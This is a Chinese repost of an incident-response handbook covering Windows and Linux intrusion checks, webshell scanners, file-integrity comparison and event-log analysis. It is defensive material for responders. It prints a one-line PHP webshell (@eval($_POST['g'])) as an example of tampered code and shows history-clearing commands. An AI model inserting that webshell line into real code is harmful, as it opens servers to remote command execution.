应急响应实战笔记

导语

        我在GitHub上看到了这大佬的笔记。考虑到GitHub在某些地区访问速度慢或者无法打开的问题,我决定转载这些笔记,以便更方便地获取。

原项目地址

GitHub 地址: https://github.com/Bypass007/Emergency-Response-Notes
GitBook 地址: https://bypass007.github.io/Emergency-Response-Notes/

项目介绍

面对各种各样的安全事件,我们该怎么处理?

这是一个关于安全事件应急响应的项目,旨在帮助处理各种安全事件。从系统入侵到事件处理,我们收集并整理了多个案例进行深入分析。

我将持续更新这份笔记,希望能为有需要的人提供帮助和指导。

如果你有好的案例或建议,欢迎通过提交 issue 的方式与我们分享。

项目目录

第一章:入侵排查篇

  1. Window入侵排查
  2. Linux入侵排查
  3. 常见的Webshell查杀工具
  4. 如何发现隐藏的Webshell后门
  5. 勒索病毒自救指南

第二章:日志分析篇

  1. Window日志分析
  2. Linux日志分析
  3. Web日志分析
  4. MSSQL日志分析
  5. MySQL日志分析

第三章:权限维持篇

  1. Windows权限维持--隐藏篇
  2. Windows权限维持--后门篇
  3. Linux权限维持--隐藏篇
  4. Linux权限维持--后门篇
  5. Windows命令行文件下载方式汇总
  6. 三大渗透测试框架权限维持技术
  7. 常见WebShell管理工具

第四章:Windows实战篇

  1. FTP暴力破解
  2. 蠕虫病毒
  3. 勒索病毒
  4. ARP病毒
  5. 挖矿病毒(一)
  6. 挖矿病毒(二)

第五章:Linux实战篇

  1. SSH暴力破解
  2. 捕捉短连接
  3. 挖矿病毒
  4. 盖茨木马
  5. DDOS病毒
  6. Shell病毒

第六章:Web实战篇

  1. 网站被植入Webshell
  2. 门罗币恶意挖矿
  3. 批量挂黑页
  4. 新闻源网站劫持
  5. 移动端劫持
  6. 搜索引擎劫持
  7. 网站首页被篡改
  8. 管理员账号被篡改
  9. 编辑器入侵事件

学习交流

后续内容将持续更新,并发布在公众号"Bypass--"上。公众号提供该项目的PDF版本,关注后可通过回复"应急响应"获取下载链接。

这份项目旨在帮助处理各种安全事件的专业人士,并欢迎社区贡献更多案例和工具。

第一章:入侵排查篇

1篇:window入侵排查

0x00 前言

当企业遭遇黑客入侵、系统崩溃或其他安全事件时,需要迅速响应,恢复正常运行,还原入侵过程,并提供解决方案与防范措施,以减少经济损失。

常见的应急响应事件分类:

  • Web入侵: 网页挂马、主页篡改、Webshell
  • 系统入侵: 病毒木马、勒索软件、远控后门
  • 网络攻击: DDOS攻击、DNS劫持、ARP欺骗

0x01 入侵排查思路

1.1 检查系统账号安全
  1. 查看是否存在弱口令及公网开放的远程管理端口。
    • 方法:咨询服务器管理员。
  2. 检查是否有可疑或新增账号。
    • 方法:运行 lusrmgr.msc 命令,查看并禁用或删除异常账户。
  3. 检查是否存在隐藏或克隆账号。
    • 方法:查看注册表及使用D盾_web查杀工具。
  4. 结合日志,分析管理员登录情况。
    • 方法:使用事件查看器 (eventvwr.msc) 和 Log Parser 分析安全日志。
1.2 检查异常端口、进程
  1. 检查网络连接及可疑的进程。
    • 方法:使用 netstat -ano 和 tasklist 命令定位异常连接和进程。
  2. 分析进程详细信息,特别关注无签名信息的进程。
    • 方法:使用 msinfo32 和 D盾_web查杀工具,或者微软的 Process Explorer。
1.3 检查启动项、计划任务、服务
  1. 检查异常启动项及注册表中的自启动设置。
    • 方法:使用 msconfig 和 regedit 查看和清除异常项。
  2. 检查计划任务及服务自启动情况。
    • 方法:使用任务计划 (任务计划) 和服务管理器 (services.msc)。
1.4 检查系统相关信息
  1. 查看系统版本、补丁信息及可疑目录文件。
    • 方法:使用 systeminfo 查看系统信息,检查用户目录及重要系统文件。
  2. 分析最近使用的文件和文件夹,寻找可疑文件。
    • 方法:检查用户目录、浏览器下载目录及浏览器历史记录。
1.5 自动化查杀
  • 进行病毒和Webshell查杀,更新安全软件的病毒库并进行全盘扫描。
1.6 日志分析
  • 分析系统日志和Web访问日志,利用事件查看器 (eventvwr.msc) 和 Log Parser 进行详细分析。

0x02 工具篇

2.1 病毒分析工具
2.2 病毒查杀工具
  • 卡巴斯基病毒查杀工具 (KVRT)
  • 大蜘蛛
    • 网址:大蜘蛛
    • 推荐理由:扫描快、病毒库每周更新一次
  • 火绒安全软件
  • 360杀毒
2.3 病毒动态跟踪
2.4 在线病毒扫描网站
2.5 Webshell查杀工具

这些工具可以帮助进行系统安全检查、病毒查杀和Webshell检测,帮助保障系统安全和数据完整性。

2篇:Linux入侵排查

0x00 前言

在企业发生黑客入侵、系统崩溃或其他安全事件时,需要快速响应并恢复正常运行,同时进行入侵来源追溯、事故还原、解决方案提供及防范措施制定,以减少经济损失。

0x01 入侵排查思路

1.1 账号安全
  • 检查 /etc/passwd 文件中的用户信息,确保没有无密码允许远程登录的账号。
  • 检查 /etc/shadow 文件,确认密码策略和账号有效性设置。
1.2 历史命令
  • 查看用户的历史命令,包括 root 用户和普通用户,以了解其操作记录。
增强历史命令记录
  • 设置历史命令记录数量和格式:
     
    sed -i 's/^HISTSIZE=1000/HISTSIZE=10000/g' /etc/profile

  • 在 /etc/profile 文件末尾添加以下内容:
     
    USER_IP=$(who -u am i 2>/dev/null | awk '{print $NF}' | sed -e 's/[()]//g') if [ "$USER_IP" = "" ]; then USER_IP=$(hostname); fi export HISTTIMEFORMAT="%F %T $USER_IP `whoami` " shopt -s histappend export PROMPT_COMMAND="history -a"

1.3 检查异常端口
  • 使用 netstat 命令分析网络连接,识别不寻常的端口、IP 和相关的进程标识符(PID)。
1.4 检查异常进程
  • 使用 ps 命令查看运行中的进程,特别关注与预期不符的进程或未知来源的进程。
1.5 检查开机启动项

在 Linux 系统中,检查开机启动项是确保系统安全的重要步骤之一。以下是相关的基本使用和检查方法:

基本使用说明:
运行级别描述
0关机
1单用户模式
2多用户模式,无网络服务
3多用户模式,完全字符界面
4保留
5多用户模式,带图形界面
6重启
常用命令和操作:
  1. 查看当前运行级别:

    runlevel

  2. 让配置文件生效:

    source /etc/profile
  3. 清除历史操作命令:

    history -c

    注意:这只会清除当前会话的历史记录。要删除保存在文件中的历史记录,需要手动编辑 .bash_history 文件。

  4. 查看网络连接状态和监听端口:

    netstat -antlp

    查看 PID 所对应的进程文件路径:

    ls -l /proc/$PID/exe

    或者使用 file 命令确认进程文件:

    file /proc/$PID/exe

  5. 查看和编辑开机启动配置文件:

    • 查看 /etc/rc.local 和 /etc/rc.d/rc[0-6].d 目录:
       
      more /etc/rc.local more /etc/rc.d/rc[0-6].d

    • 查看特定运行级别的启动项配置:
       
      ls -l /etc/rc.d/rc3.d/

  6. 配置开机启动项示例: 当需要设置自定义脚本开机启动时,将可执行脚本放置在 /etc/init.d/ 目录下,并在 /etc/rc.d/rc*.d 中创建软链接。 示例命令:

    ln -s /etc/init.d/sshd /etc/rc.d/rc3.d/S100ssh
    • sshd 是具体服务的脚本文件。
    • S100ssh 是软链接,以 S 开头表示系统启动时执行,数字后缀确定启动顺序;如果是 K 开头,则表示关闭服务。
入侵排查提示:

确保检查开机启动项的文件和目录,特别是 /etc/rc.local/etc/rc.d/rc*.d/ 目录,以确保没有未经授权的脚本或服务在系统启动时自动运行。

1.6 检查定时任务

基本使用

  1. 利用crontab创建计划任务:

    • crontab -l:列出某个用户cron服务的详细内容。
    • crontab -r:删除每个用户的crontab任务(谨慎操作,会删除所有计划任务)。
    • crontab -e:使用编辑器编辑当前的crontab文件。

    示例:*/1 * * * * echo "hello world" >> /tmp/test.txt 每分钟写入文件。

  2. 利用anacron实现异步定时任务调度:

    • 使用案例:每天运行 /home/backup.sh 脚本:
       
      vi /etc/anacrontab @daily 10 example.daily /bin/bash /home/backup.sh

    • 如果机器在期望运行backup.sh时关机,anacron会在机器开机十分钟后运行它,而不需等待7天。

入侵排查

  • 关注以下目录中是否存在恶意脚本:
    • /var/spool/cron/*
    • /etc/crontab
    • /etc/cron.d/*
    • /etc/cron.daily/*
    • /etc/cron.hourly/*
    • /etc/cron.monthly/*
    • /etc/cron.weekly/
    • /etc/anacrontab
    • /var/spool/anacron/*

小技巧

  • more /etc/cron.daily/*:查看目录下所有文件。
1.7 检查服务

服务自启动

  • 第一种修改方法:
    • chkconfig [--level 运行级别] [独立服务名] [on|off]
      • chkconfig --level 2345 httpd on 开启httpd自启动。
      • chkconfig httpd on (默认level是2345)。
  • 第二种修改方法:
    • 修改 /etc/rc.d/rc.local 文件,加入 /etc/init.d/httpd start
  • 第三种修改方法:
    • 使用 ntsysv 命令管理自启动,管理独立服务和xinetd服务。

入侵排查

  • 查询已安装的服务:
    • RPM包安装的服务:chkconfig --list
    • 查询当前运行的服务:ps aux | grep crond
    • 查看系统在3与5级别下的启动项:
      • 中文环境:chkconfig --list | grep "3:启用\|5:启用"
      • 英文环境:chkconfig --list | grep "3:on\|5:on"
    • 源码包安装的服务日志文件位置示例:
      • /var/log/cron
      • /var/log/cups
      • /var/log/dmesg
      • /var/log/mailog
      • /var/log/message
      • /var/log/btmp
      • /var/log/lastlog
      • /var/log/wtmp
      • /var/log/utmp
      • /var/log/secure

查看服务安装位置

  • 一般位于 /usr/local/
  • 启动服务命令:service httpd start
  • 搜索是否存在 /etc/rc.d/init.d/
1.8 检查异常文件
  1. 查看敏感目录,如 /tmp 目录下的文件,注意隐藏文件夹,例如以 ".." 为名的文件夹具有隐藏属性。

  2. 发现WEB SHELL或远控木马后,查找同一时间范围内创建的文件:

    • 使用 find 命令,例如 find /opt -iname "*" -atime 1 -type f 找出 /opt 下一天前访问过的文件。
  3. 对可疑文件使用 stat 命令查看创建修改时间。

1.9 检查系统日志

日志默认存放位置: /var/log/

日志文件说明
/var/log/cron记录系统定时任务相关的日志。
/var/log/cups记录打印信息的日志。
/var/log/dmesg记录系统在开机时内核自检的信息。也可通过 dmesg 命令直接查看。
/var/log/maillog记录邮件信息的日志。
/var/log/messages记录系统重要信息的日志,包括大部分的系统问题和事件。
/var/log/btmp记录错误登录尝试的日志,是一个二进制文件,需使用 lastb 命令查看。
/var/log/lastlog记录系统中所有用户最后一次登录时间的日志,是一个二进制文件,需使用 lastlog 命令查看。
/var/log/wtmp永久记录所有用户的登录、注销信息,同时记录系统的启动、重启、关机事件,是一个二进制文件,需使用 last 命令查看。
/var/log/utmp记录当前已登录的用户信息,随用户的登录和注销不断变化,需使用 wwhousers 等命令来查询。
/var/log/secure记录验证和授权方面的信息,包括SSH登录、su切换用户、sudo授权、用户管理操作等。

查看日志配置情况:

more /etc/rsyslog.conf

日志分析技巧:

  1. 爆破主机root帐号的IP定位:

    grep "Failed password for root" /var/log/secure | awk '{print $11}' | sort | uniq -c | sort -nr | more

    或者:

    grep "Failed password" /var/log/secure | grep -E -o "(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)" | uniq -c

    查看爆破用户名字典:

    grep "Failed password" /var/log/secure | perl -e 'while($_=<>){ /for(.*?) from/; print "$1\n";}' | uniq -c | sort -nr

  2. 登录成功的IP定位:

    grep "Accepted " /var/log/secure | awk '{print $11}' | sort | uniq -c | sort -nr | more

    查看登录成功的详细信息(日期、用户名、IP):

    grep "Accepted " /var/log/secure | awk '{print $1,$2,$3,$9,$11}'

  3. 增加用户kali的日志:

    grep "useradd" /var/log/secure

    示例:

    Jul 10 00:12:15 localhost useradd[2382]: new group: name=kali, GID=1001 Jul 10 00:12:15 localhost useradd[2382]: new user: name=kali, UID=1001, GID=1001, home=/home/kali, shell=/bin/bash Jul 10 00:12:58 localhost passwd: pam_unix(passwd:chauthtok): password changed for kali

  4. 删除用户kali的日志:

    grep "userdel" /var/log/secure

    示例:

    Jul 10 00:14:17 localhost userdel[2393]: delete user 'kali' Jul 10 00:14:17 localhost userdel[2393]: removed group 'kali' owned by 'kali' Jul 10 00:14:17 localhost userdel[2393]: removed shadow group 'kali' owned by 'kali'

  5. su切换用户日志:

    grep "su" /var/log/secure

    示例:

    Jul 10 00:38:13 localhost su: pam_unix(su-l:session): session opened for user good by root(uid=0)

  6. sudo授权执行日志:

    grep "sudo" /var/log/secure

    示例:

    Jul 10 00:43:09 localhost sudo: good : TTY=pts/4 ; PWD=/home/good ; USER=root ; COMMAND=/sbin/shutdown -r now

0x02 工具篇

2.1 Rootkit查杀

chkrootkit

  • 网址:http://www.chkrootkit.org
  • 使用方法:
     
    wget ftp://ftp.pangeia.com.br/pub/seg/pac/chkrootkit.tar.gz tar zxvf chkrootkit.tar.gz cd chkrootkit-0.52 make sense ./chkrootkit

rkhunter

  • 网址:http://rkhunter.sourceforge.net
  • 使用方法:
     
    wget https://nchc.dl.sourceforge.net/project/rkhunter/rkhunter/1.4.4/rkhunter-1.4.4.tar.gz tar -zxvf rkhunter-1.4.4.tar.gz cd rkhunter-1.4.4 ./installer.sh --install rkhunter -c
2.2 病毒查杀

ClamAV

  • 官方下载地址:ClamAVNet
  • 安装方法一:
    # 安装zlib
    wget http://nchc.dl.sourceforge.net/project/libpng/zlib/1.2.7/zlib-1.2.7.tar.gz
    tar -zxvf zlib-1.2.7.tar.gz
    cd zlib-1.2.7
    CFLAGS="-O3 -fPIC" ./configure --prefix=/usr/local/zlib/
    make && make install
    
    # 添加用户组和用户
    groupadd clamav
    useradd -g clamav -s /bin/false -c "Clam AntiVirus" clamav
    
    # 安装ClamAV
    tar -zxvf clamav-0.97.6.tar.gz
    cd clamav-0.97.6
    ./configure --prefix=/opt/clamav --disable-clamav -with-zlib=/usr/local/zlib
    make
    make install
    
    # 配置ClamAV
    mkdir /opt/clamav/logs
    mkdir /opt/clamav/updata
    touch /opt/clamav/logs/freshclam.log
    touch /opt/clamav/logs/clamd.log
    cd /opt/clamav/logs
    chown clamav:clamav clamd.log
    chown clamav:clamav freshclam.log
  • 安装方法二(使用yum):
     
    yum install -y clamav
    
    # 更新病毒库
    freshclam
    
    # 扫描方法
    clamscan -r /etc --max-dir-recursion=5 -l /root/etcclamav.log
    clamscan -r /bin --max-dir-recursion=5 -l /root/binclamav.log
    clamscan -r /usr --max-dir-recursion=5 -l /root/usrclamav.log
    
    # 扫描并杀毒
    clamscan -r --remove /usr/bin/bsd-port
    clamscan -r --remove /usr/bin/
    clamscan -r --remove /usr/local/zabbix/sbin
    
    # 查看日志
    cat /root/usrclamav.log | grep FOUND
2.3 webshell查杀
2.4 RPM check检查

系统完整性可以通过rpm自带的-Va来校验检查所有的rpm软件包,查看哪些命令是否被替换了:

rpm -Va > rpm.log

如果一切正常将不会产生输出,不一致的地方会显示出来。

2.5 Linux安全检查脚本

Github项目地址:

尽信书不如无书,工具只是辅助,关键在于如何解决问题的思路。

3篇:常见的Webshell查杀工具

在网站服务器被入侵时,使用专门的Webshell检测工具是关键,可以帮助检测和清除恶意Webshell文件,进一步提升系统安全。以下是推荐的一些工具和资源:

1. D盾_Web查杀

  1. 提供由阿D团队研发的代码分析引擎,支持检测各种类型的WebShell后门行为。
  2. 兼容性:仅支持Windows。
  3. 下载地址:WebShellKill_V2.0.9.zip

2. 百度WEBDIR+

  1. 采用先进的动态监测技术和多引擎查杀,提供在线木马查杀服务和免费开放API支持批量检测。
  2. 在线查杀地址:https://scanner.baidu.com/

3. 河马

  1. 专注于Webshell查杀研究,拥有大量Webshell样本和自主查杀技术,使用传统特征与云端大数据双引擎技术。
  2. 兼容性:支持Windows和Linux,支持在线查杀。
  3. 官方网站:SHELLPUB.COM

4. Web Shell Detector

  1. 提供“Webshell”签名数据库,能识别高达99%的Webshell。
  2. 兼容性:提供PHP和Python脚本,可跨平台,在线检测。
  3. 官方网站:Web Shell Detector
  4. GitHub项目地址:GitHub - emposha/PHP-Shell-Detector: Web Shell Detector – is a php script that helps you find and identify php/cgi(perl)/asp/aspx shells. Web Shell Detector has a “web shells” signature database that helps to identify “web shell” up to 99%.

5. CloudWalker(牧云)

  1. 命令行版本的Webshell检测工具,已停止更新。
  2. 兼容性:提供Linux版本,Windows版本暂不支持。
  3. 在线查杀demo:CT Stack 安全社区
  4. GitHub项目地址:GitHub - chaitin/cloudwalker: CloudWalker Platform

6. Sangfor WebShellKill

  1. 提供多重检测引擎的Web后门专杀工具,支持检测Webshell和暗链。
  2. 兼容性:支持Windows和Linux。
  3. 注意: 工具下载地址可能已不再有效。

7. 深度学习模型检测PHP Webshell

  1. 提供深度学习引擎用于PHP Webshell的在线样本检测。
  2. 在线查杀地址:http://webshell.cdxy.me/

8. PHP Malware Finder

  1. 用于检测Webshell和恶意软件混淆代码的工具。
  2. 兼容性:提供Linux版本,Windows版本暂不支持。
  3. GitHub项目地址:GitHub - jvoisin/php-malware-finder: Detect potentially malicious PHP files

9. findWebshell

  1. 基于Python开发的Webshell检查工具,支持根据特征码匹配检查各种类型的Webshell后门。
  2. GitHub项目地址:GitHub - he1m4n6a/findWebshell: findWebshell是一款基于python开发的webshell检测工具。

10. 在线Webshell查杀工具

  1. 提供在线查杀服务,用于检测和清除Webshell。
  2. 在线查杀地址:在线webshell查杀 - 在线工具

这些工具涵盖了不同的检测方法和技术,可以根据具体需求选择合适的工具进行Webshell检测和排查,确保网站安全性。

4篇:如何在百万行代码里发现隐藏的后门

在面对大中型应用系统,数以百万级代码行的情况下,手工检查每个文件每段代码是不现实的。即使使用检测引擎,即便其具有99.9%的Webshell检出率,仍可能存在Webshell绕过的情况。此外,黑帽SEO手法如暗链、网页劫持和页面跳转,也难以完全依靠手动或工具检测来识别。

最佳做法是进行文件完整性验证。通过与原始代码进行比对,能够快速发现文件是否被篡改及篡改位置。前提是团队已具备代码版本管理能力;个人站长应当已备份原始代码。

以下是几种文件完整性验证方式,结合实际应用介绍:

1、文件MD5校验

  • 下载软件时,可以通过MD5算法计算其特征值,例如:
  • 用户下载后,同样使用相同校验算法计算文件特征值,与发布特征值比较。一致则认为正确,不一致则被篡改。
  1. 文件hash值计算

    • 可通过脚本计算所有网站文件的哈希值,并保存。
    • 应急情况下,重新计算哈希值与上次保存的对比,以识别新创建、修改及删除的文件。

例如,使用以下Python函数计算MD5哈希值:

import hashlib
import os

def md5sum(file):
    m = hashlib.md5()
    if os.path.isfile(file):
        f = open(file, 'rb')
        for line in f:
            m.update(line)
        f.close()
    else:
        m.update(file.encode('utf-8'))
    return m.hexdigest()

# 函数接受一个文件路径作为参数 file,如果传入的路径指向一个有效的文件,它将打开并读取该文件的内容来计算MD5哈希值

此方法可以帮助检测到应急情况下新增或被篡改的文件,如通过NotePad++编辑器对比文件变更内容,发现插入了一句Webshell的情况。

如上图,在上传目录新增了一个 evil.php 文件,还有一个被篡改的文件是 low.php 。使用常见的编辑器 NotePad++ 进行
对比,可以发现 low.php 文件里被插入了一句话 webshell

2diff命令

1. diff命令概述

diff命令用于比较文件内容的差异,可以用于比较文本文件和目录。在你的例子中,使用了以下参数:

  • -c:以上下文格式显示差异。通常显示修改前后的内容。
  • -a:对比时忽略空格字符的不同。
  • -r:递归比较目录及其子目录下的文件。

2. 示例命令

 
 

bashCopy Code

这条命令将递归地比较目录cms1cms2及其子目录中的文件,并以上下文格式显示差异。下面是示例输出的解释:

2. 示例命令

diff -c -a -r cms1 cms2

这条命令将递归地比较目录cms1cms2及其子目录中的文件,并以上下文格式显示差异。下面是示例输出的解释:

如下图所示,前三行列出了两个要对比的文件目录的差异,可以发现 low.php 文件被篡改过,篡改的内容是
@eval($_POST['g']) ;
备注:如果只是想查看两个文件是否不同又不想显示差异之处的话,可以加上- q 选项。

3. 版本控制工具

版本控制工具如 Git 是管理代码变更的重要工具。以下是使用 Git 发现代码篡改的一般流程:

  1. 重新上传代码到 Git:使用 add + commit + push 命令将代码变更推送至 Git 仓库。

  2. 查看历史提交版本:在项目中打开 Git,点击 "Commits"(提交记录),可以查看历史提交的版本。

  3. 查看文件更改内容:在历史提交版本中,可以查看每个文件的具体更改内容,轻松发现代码被篡改的地方。

  4. 使用 git diff 比较文件差异:通过 git diff 命令可以直接比较两个文件或者不同提交版本之间的差异。

版本控制工具不仅能帮助团队协作管理代码版本,还能有效追踪和确认代码的变更历史,提高代码安全性和稳定性。

4. 文件对比工具推荐

关键词:代码对比工具,你会找到很多好用的工具,这里我们推荐两款效果还不错的工具,Beyond Compare和 WinMerge。

1. Beyond Compare Beyond Compare是由Scooter Software推出的文件比较工具,主要用途是对比两个文件夹或文件,并以颜色标示差异,比较范围包括目录和文档内容。

1)双击打开Beyond Compare,选择文件夹比较。

2)在双边栏输入文件夹路径,点击显示差别,紫色表示新增文件,红色表示篡改文件。

3)双击具体文件,进入代码对比,查看代码差异部分。

2. WinMerge WinMerge是运行于Windows系统下的文件比较和合并工具,通过易于理解的可视文本格式显示差异,非常方便比较文件夹和文件。

  • 下载地址: WinMerge
  • 使用示例:

1)打开WinMerge,选择文件或文件夹进行比较。

2)在同一个界面中,通过颜色和文本提示显示文件内容差异。

第五篇:勒索病毒自救指南

在面对勒索病毒时,以下资源可以帮助你应对:

勒索病毒搜索引擎

勒索软件解密工具集

这些工具和资源可以帮助你应对文件对比和勒索病毒问题,提升工作效率和数据安全性。

第二章:日志分析篇

第1篇:Windows日志分析

0x01 Windows事件日志简介

        Windows系统日志是记录系统中硬件、软件和系统问题的重要信息,同时也能监视系统中发生的各种事件。通过分析Windows事件日志,可以找到错误的根源或者追踪攻击者留下的痕迹。

系统日志

        系统日志记录操作系统组件产生的事件,包括驱动程序、系统组件和应用软件的崩溃以及数据丢失错误等。Windows NT/2000操作系统预先定义了记录的事件类型。

默认位置:%SystemRoot%\System32\Winevt\Logs\System.evtx

应用程序日志

        应用程序日志包含由应用程序或系统程序记录的事件,主要记录程序运行方面的事件。例如,数据库程序可能会在应用程序日志中记录文件错误。程序开发人员可以自行决定监视哪些事件。如果应用程序崩溃,可以从应用程序事件日志中找到相关记录,有助于问题解决。

默认位置:%SystemRoot%\System32\Winevt\Logs\Application.evtx

安全日志

        安全日志记录系统的安全审计事件,包括登录日志、对象访问日志、进程跟踪日志、特权使用、帐号管理、策略变更等系统事件。安全日志是调查和取证工作中最常用的日志类型。默认情况下,安全日志是关闭的,管理员可以通过组策略或注册表设置启用安全日志,以便记录相关安全事件。

默认位置:%SystemRoot%\System32\Winevt\Logs\Security.evtx

系统和应用程序日志主要存储着故障排除信息,对于系统管理员而言尤为重要。安全日志则记录着事件审计信息,包括用户验证(登录、远程访问等)和用户在认证后对系统的操作,对调查人员非常有帮助。

这些日志不仅帮助管理员追踪和解决系统问题,也支持安全团队进行事件响应和安全审计工作。

0x02 审核策略与事件查看器

在 Windows Server 2008 R2 系统中,默认情况下未启用审核功能。建议开启审核策略,以便在系统出现故障或安全事件时查看日志文件,进行故障排除和安全事件追踪。

设置1:开启审核策略
  1. 打开本地安全策略管理工具:

    • 进入“开始”菜单。
    • 打开“管理工具”。
    • 选择“本地安全策略”。
  2. 配置审核策略:

    • 在本地安全策略管理器中,依次展开“本地策略” -> “审核策略”。
    • 针对需要审核的项目(如账户登录事件、对象访问等),启用相应的审核策略。

设置2:配置事件日志属性

为了有效管理事件日志,建议配置合理的日志属性,包括日志的最大大小和事件覆盖阈值。

  1. 设置日志最大大小:

    • 打开事件查看器:
      • 进入“开始”菜单。
      • 打开“管理工具”。
      • 选择“事件查看器”。
    • 在事件查看器中,找到并右键点击相应的日志(如“应用程序”、“安全”等)。
    • 选择“属性”。
    • 在“日志大小限制”部分,设置合适的最大日志大小。建议根据系统负载和可用磁盘空间来设置。
  2. 设置事件覆盖阈值:

    • 在同一个属性窗口中,您还可以设置事件覆盖阈值。
    • 事件覆盖阈值定义了当日志达到最大大小时如何处理新的事件。可以选择覆盖旧事件或者停止记录新事件。

注意: 默认情况下,即使未启用详细的审核策略,系统也会记录一些简单的日志。每个日志文件的默认大小为20MB,超出后系统将停止记录新的事件,除非手动配置覆盖选项。

查看系统日志方法:

 

0x03 事件日志分析

在 Windows 事件日志分析中,不同的事件 ID 代表着不同的系统操作和安全事件。以下是一些常见安全事件及其含义的摘录:
事件 ID说明
4624登录成功
4625登录失败
4634注销成功
4647用户启动的注销
4672使用超级用户(如管理员)进行登录
4720创建用户
每个成功登录的事件都会标记一个登录类型,不同登录类型代表不同的方式:
登录类型
登录类型描述说明
2交互式登录(Interactive)用户在本地进行登录。
3网络(Network)用户连接到共享文件夹或共享打印机。
4批处理(Batch)表明某计划任务启动。
5服务(Service)每种服务都被配置在某个特定的用户账号下运行。
7解锁(Unlock)用户通过解锁屏幕保护程序来重新访问系统。
8网络明文(NetworkCleartext)登录的密码在网络上通过明文传输,例如 FTP。
9新凭证(NewCredentials)使用带 /Netonly 参数的 RUNAS 命令运行程序,使用新的用户凭证。
10远程交互(RemoteInteractive)通过终端服务、远程桌面或远程协助访问计算机。
11缓存交互(CachedInteractive)在域用户登录时没有可用的域控制器时,使用缓存的登录信息。

关于更多的事件ID和详细说明,可以参考微软官方网站上提供的《Windows Vista 和 Windows Server 2008 中的安全事件的说明》。

原文链接 : https://support.microsoft.com/zh-cn/help/977519/description-of-security-events-in-windows-7-
and-in-windows-server-2008
案例1:利用事件日志查看系统账号登录情况
  1. 打开事件查看器:

    • 在“开始”菜单中依次选择“所有程序”、“管理工具”,然后单击“事件查看器”。
  2. 查看安全日志:

    • 在事件查看器中,展开左侧菜单的“Windows 日志”,选择“安全”日志。
  3. 筛选安全日志:

    • 在安全日志右侧的操作栏中,点击“筛选当前日志”。
    • 输入相应的事件ID进行筛选:
      • 4624: 登录成功。
      • 4625: 登录失败。
      • 4634: 注销成功。
      • 4647: 用户启动的注销。
      • 4672: 使用超级用户(如管理员)进行登录。

示例分析:

假设我们输入事件ID 4625 进行日志筛选,并发现有 175904 个事件:

  • 这表示系统记录了 175904 次登录失败的事件(事件ID 4625)。
  • 可能意味着服务器的管理员账号遭受了暴力猜解攻击,因为大量的登录失败尝试可能表明有人在试图猜测管理员账号的密码。
案例2:利用事件日志查看计算机开关机记录
  1. 打开事件查看器:

    • 在“开始”菜单中依次选择“所有程序”、“管理工具”,然后单击“事件查看器”。
  2. 查看系统日志:

    • 在事件查看器中,展开左侧菜单的“Windows 日志”,选择“系统”日志。
  3. 筛选系统日志:

    • 在系统日志右侧的操作栏中,点击“筛选当前日志”。
    • 输入相应的事件ID进行筛选:
      • 6005: EventLog 事件日志服务已启动(开机)。
      • 6006: EventLog 事件日志服务已停止(关机)。
      • 6009: EventLog 按Ctrl+Alt+Delete键(非正常)关机。

示例分析:

假设我们输入事件ID 60056006 进行日志筛选,并发现两条记录在 2018/7/6 17:53:51 左右:

  • 这表明系统在这个时间点上启动和停止了事件日志服务,可能对应了一次系统重启操作。

0x04 日志分析工具:

Log Parser

Log Parser 概述 Log Parser 是由微软公司开发的强大日志分析工具,它能够分析多种格式的日志文件,包括文本文件、XML 文件、CSV 文件,以及操作系统的事件日志、注册表、文件系统和Active Directory。用户可以使用类似 SQL 查询的语句来对这些数据进行分析,并可以将分析结果以各种图表形式展示。

Log Parser 功能特点

  • 支持多种日志格式:文本文件、XML 文件、CSV 文件等。
  • 可以查询和分析操作系统的事件日志、注册表、文件系统、Active Directory 等。
  • 提供类似 SQL 语句的查询语言。
  • 支持将查询结果导出为文本文件或者直接生成图表。
  • 可以通过命令行或者脚本进行批处理操作。

Log Parser 下载地址

Log Parser 2.2 可以从微软官方网站下载:

Log Parser 使用示例

以下网址提供了超过50个 Log Parser 使用示例,涵盖了各种常见的日志分析需求:

Log Parser 基本查询结构

Logparser.exe -i:<InputFormat> -o:<OutputFormat> "SELECT <Fields> FROM <Path> WHERE <Conditions>"

  • -i:<InputFormat>: 指定输入日志文件的格式,如EVT(Windows事件日志)。
  • -o:<OutputFormat>: 指定输出格式,如DATAGRID(数据表格形式)。
  • "SELECT <Fields> FROM <Path> WHERE <Conditions>": SQL 风格的查询语句,用于选择需要分析的字段、文件路径和筛选条件。

使用Log Parser分析日志示例

  1. 查询登录成功的事件:

    • 登录成功的所有事件:

      LogParser.exe -i:EVT -o:DATAGRID "SELECT * FROM c:\Security.evtx WHERE EventID=4624"

    • 指定登录时间范围的事件:

      LogParser.exe -i:EVT -o:DATAGRID "SELECT * FROM c:\Security.evtx WHERE TimeGenerated > '2018-06-19 23:32:11' AND TimeGenerated < '2018-06-20 23:34:00' AND EventID=4624"

    • 提取登录成功的用户名和IP:

      LogParser.exe -i:EVT -o:DATAGRID "SELECT EXTRACT_TOKEN(Message,13,' ') as EventType, TimeGenerated as LoginTime, EXTRACT_TOKEN(Strings,5,'|') as Username, EXTRACT_TOKEN(Message,38,' ') as Loginip FROM c:\Security.evtx WHERE EventID=4624"

  2. 查询登录失败的事件:

    • 登录失败的所有事件:

      LogParser.exe -i:EVT -o:DATAGRID "SELECT * FROM c:\Security.evtx WHERE EventID=4625"

    • 提取登录失败用户名进行聚合统计:

      LogParser.exe -i:EVT "SELECT EXTRACT_TOKEN(Message,13,' ') as EventType, EXTRACT_TOKEN(Message,19,' ') as Username, COUNT(EXTRACT_TOKEN(Message,19,' ')) as Times, EXTRACT_TOKEN(Message,39,' ') as Loginip FROM c:\Security.evtx WHERE EventID=4625 GROUP BY Message"

  3. 查询系统历史开关机记录:

    LogParser.exe -i:EVT -o:DATAGRID "SELECT TimeGenerated, EventID, Message FROM c:\System.evtx WHERE EventID=6005 OR EventID=6006"

这些示例展示了如何使用 Log Parser 工具查询和分析 Windows 事件日志,包括筛选特定事件类型、时间范围内的事件以及提取特定字段进行统计分析。

Log Parser Lizard

Log Parser Lizard 是一个GUI环境下的日志分析工具,特点是易于使用,无需记忆复杂命令,只需设置和编写基本的 SQL 查询语句即可直观地获得结果。

  • 特点

    • 提供直观的用户界面,减少了对命令行的依赖。
    • 支持使用 SQL 查询语句分析和过滤日志数据。
    • 可视化结果输出,包括数据表格和图表展示。
  • 下载地址Log Parser Lizard 官网

